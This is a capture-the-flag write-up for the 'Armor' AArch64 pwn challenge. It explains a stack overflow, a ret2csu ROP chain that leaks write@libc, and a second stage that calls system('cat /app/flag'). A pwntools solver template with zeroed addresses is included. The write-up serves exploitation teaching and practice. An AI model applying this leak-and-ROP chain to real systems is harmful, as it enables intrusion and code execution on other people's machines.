Logo

Writeup

Armor FlagYard — Writeup

0 0xAsta
February 2, 2026
4 min read
pwn binary stack-overflow aarch64 ret2csu libc-leak

Armor Challenge — Writeup

This writeup explains how to solve the armor pwn challenge. The binary is AArch64, NX enabled, PIE disabled, and it contains a classic stack overflow in vuln() that lets us control main’s return address. The goal is to leak a libc address, compute system(), and run a command to read the flag.

Challenge Interface

Summary

We get a stack overflow in vuln() that can overwrite the saved return address of main. Because PIE is disabled, we can use fixed gadget addresses in the binary. The plan:

  1. Locate the overflow and compute the offset to main’s saved LR.
  2. Use ret2csu to call write() and leak write@libc.
  3. Return to main and repeat the overflow.
  4. Use ret2csu again to call read() into .bss and then call system("cat /app/flag") via a function pointer.

Binary Protections (checksec)

  • Arch: aarch64-64-little
  • Canary: not present
  • NX: enabled
  • PIE: disabled
  • RELRO: partial

PIE is off, so gadget and PLT addresses are stable.

Vulnerability Analysis

Where the overflow happens

In the decompiled vuln():

int64_t vuln()
{
void buf;
read(0, &buf, 0x1f4);
return 0;
}

The buffer lives on the stack, and read() allows 0x1f4 bytes, which overflows into saved registers and the caller’s frame.

Stack layout (important offsets)

From the AArch64 prologue in vuln():

stp x29, x30, [sp, #-0x80]!
mov x29, sp
add x0, x29, #0x18
  • Local buffer starts at x29 + 0x18.
  • vuln’s saved LR is at x29 + 0x8.
  • We cannot reach vuln’s LR from the buffer, but we can overwrite main’s saved LR via the overflow.

Offsets (from buffer start):

  • To main saved x29: 0x68
  • To main saved x30: 0x70
  • Next stack area for ROP chain: 0x98

Ret2CSU on AArch64

The binary has a usable CSU sequence in __libc_csu_init:

  • Pop gadget at 0x40078c:

    • ldp x20, x21, [sp, #0x18]
    • ldp x22, x23, [sp, #0x28]
    • ldr x24, [sp, #0x38]
    • ldp x29, x30, [sp], #0x40
    • ret
  • Call gadget at 0x400760:

    • loads function pointer from [x21 + x19*8] (with x19 = 0)
    • sets w0 = x22, x1 = x23, x2 = x24
    • blr x3

This lets us call any function whose pointer we can place in x21 (GOT entry or .bss).

Stage 1: Leak libc

We call write(1, write@got, 8) using ret2csu:

  • x22 = 1 (fd)
  • x23 = write@got (buf)
  • x24 = 8 (len)
  • x21 = write@got (function pointer)

The 8-byte leak gives write@libc. From that, we compute libc base and system().

GOT/PLT view or leak in action

Stage 2: Execute system()

We use ret2csu twice:

  1. read(0, .bss, 0x80) to place data in .bss:

    • 8 bytes: system function pointer
    • 8 bytes: padding
    • command string: "cat /app/flag"\0
  2. Call system(.bss+0x10) by setting:

    • x21 = .bss (function pointer table)
    • x22 = .bss + 0x10 (argument)

This runs the command and prints the flag. .bss layout

End-to-End Strategy

  1. Connect to the service.
  2. Send stage-1 payload to leak write@libc.
  3. Compute libc base and system().
  4. Send stage-2 payload to call system("cat /app/flag").
  5. Read output.

Solver (template — no addresses)

Below is a simplified solver showing the core logic. Fill in addresses from your analysis if you want to reproduce manually.

#!/usr/bin/env python3
from pwn import *
HOST = "tcp.flagyard.com"
PORT = 00000
context.arch = "aarch64"
# --- fill these from your analysis ---
POP_CSU = 0x0000000000000000
CSU_CALL = 0x0000000000000000
WRITE_GOT = 0x0000000000000000
READ_GOT = 0x0000000000000000
MAIN = 0x0000000000000000
BSS = 0x0000000000000000
OFFSET_SAVED_X29 = 0x00
OFFSET_SAVED_X30 = 0x00
OFFSET_CHAIN = 0x00
def start():
return remote(HOST, PORT)
def csu_frame(x29, x30, x20, x21, x22, x23, x24):
# Stack layout for the CSU pop gadget (0x40 bytes)
return (
p64(x29) +
p64(x30) +
p64(0) + # padding to reach sp+0x18
p64(x20) +
p64(x21) +
p64(x22) +
p64(x23) +
p64(x24)
)
def stage1():
# Leak write@libc via write(1, write@got, 8)
payload = b"A" * OFFSET_SAVED_X29
payload += p64(0)
payload += p64(POP_CSU)
payload += b"B" * (OFFSET_CHAIN - (OFFSET_SAVED_X30 + 8))
payload += csu_frame(BSS, CSU_CALL, 1, WRITE_GOT, 1, WRITE_GOT, 8)
payload += csu_frame(0, MAIN, 0, 0, 0, 0, 0)
return payload
def stage2(system_addr, cmd):
# Read command into .bss and call system(cmd)
payload = b"A" * OFFSET_SAVED_X29
payload += p64(0)
payload += p64(POP_CSU)
payload += b"B" * (OFFSET_CHAIN - (OFFSET_SAVED_X30 + 8))
payload += csu_frame(BSS, CSU_CALL, 1, READ_GOT, 0, BSS, 0x80)
payload += csu_frame(BSS, CSU_CALL, 1, BSS, BSS + 0x10, 0, 0)
data = p64(system_addr) + b"\\x00" * 8 + cmd + b"\\x00"
data = data.ljust(0x80, b"\\x00")
return payload, data
def main():
io = start()
io.recvuntil(b"arm world!\\n")
io.send(stage1())
leak = io.recvn(8)
write_addr = u64(leak)
# --- fill these from your libc ---
libc_write = 0x0000000000000000
libc_system = 0x0000000000000000
libc_base = write_addr - libc_write
system_addr = libc_base + libc_system
io.recvuntil(b"arm world!\\n")
payload2, data = stage2(system_addr, b"cat /app/flag")
io.send(payload2)
io.send(data)
out = io.recvall(timeout=2)
if out:
print(out.decode(errors="ignore"))
if __name__ == "__main__":
main()

Notes

  • NX is enabled, so no shellcode.
  • PIE is disabled, so binary gadgets are stable.
  • The overflow reaches main’s saved LR, not vuln’s.
  • ret2csu works well on AArch64 when gadget variety is low.

Final Result

Flag Output